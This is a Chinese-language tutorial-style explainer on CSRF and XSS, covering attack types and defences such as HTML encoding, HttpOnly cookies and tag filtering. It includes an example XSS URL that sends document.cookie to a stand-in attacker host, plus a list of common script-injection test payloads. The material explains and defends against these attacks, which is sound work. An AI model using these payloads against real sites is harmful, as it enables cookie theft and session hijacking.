XSS 和CSRF

跨站请求伪造,英文为:CSRF/ XSRF (Cross-site request forgery/ one-click attack/ session riding)

  1. 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

跨站脚本攻击,英文为:XSS (Cross-site scripting)

  1. 命名是为了和层叠样式表(英文Cascading Style Sheets, CSS)区分而采用X开头。
  2. 原理和危害:利用网页安全漏洞,将恶意代码注入到网页中,当用户打开网页时,网页服务器会发送该可执行代码给浏览器,该段恶意代码(大多是JavaScript)会在浏览器中被执行,攻击者可能可以获取更高的权限、读取私密的网页内容、会话和cookie等各种内容。
  3. 攻击手段和目的:
    • Dom-based XSS 漏洞:威胁个别用户。用户在网站A 点击收到的邮箱或者QQ等恶意链接(被伪装的, 常见的钓鱼式攻击,英文为:Phishing),用户一旦点击该链接,那么该网页上的像cookie这样包含敏感信息的内容则会被发送到攻击者创建的保存盗窃信息的网站中。

      http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

    • Stored(存储式) XSS 漏洞:应用广泛,影响范围包括网站所有访问该页面的用户。攻击脚本会被传送并保存在服务器上,每次用户访问时发送改代码到客户端页面,运行时收集所有访问该页面的用户信息。
    • iframe/ frame/ XMLHttpRequest:代表用户采取动作,例如:发微博,加好友。
    • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
    • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
  4. 修复措施:

    • 同源策略(same origin policy):访问控制

      对于会同时打开多个浏览器窗口的用户,为了防止从另一个浏览器跨网页或者对象读取数据,仅允许来自相同域名系统和使用相同协议的对象和网页之间的任何交互。

    • HTML Encode处理:对HTML进行转码,例如< => &lt;

      网站对于用户输入的内容进行检测,查看是否含有特殊字符,同理,也可以用特殊字符测试网站是否能防止特殊字符的攻击。

      区分URL Encode
      URL编码是为了符合规范而对非字母数字字符进行编码,这些字符会被转换成百分号%后跟两位十六进制数,空格则编码为+。例如:

      常见的特殊字符攻击方式有:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      ><script>alert(document.cookie)</script>
      ='><script>alert(document.cookie)</script>
      "><script>alert(document.cookie)</script>
      <script>alert(document.cookie)</script>
      <script>alert(vulnerable)</script>
      %3Cscript%3Ealert('XSS')%3C/script%3E
      <script>alert('XSS')</script>
      <img src="javascript:alert('XSS')">
      <img src="http://888.888.com/999.png" onerror="alert('XSS')">

      常见的HTML过滤方式有:

      1
      2
      3
      4
      5
      6
      PHP:htmlentities() 或是htmlspecialchars()。
      Python:cgi.escape()。
      ASP:Server.HTMLEncode()。
      ASP.NET:Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
      Java:xssprotect (Open Source Library)。
      Node.js:node-validator。
    • HttpOnly
      重要cookie 设置为HttpOnly,使得客户端没有操作cookie的权限,JavaScript 中的document.cookie 无法读取cookie。

    • 限制用户的输入格式:

      1
      <input type="number" />
    • 过滤JavaScript事件的标签,例如"onclick="

    • 过滤或者移除特殊的HTML标签,例如<iframe>

参考文档:
跨站脚本
Web安全测试之XSS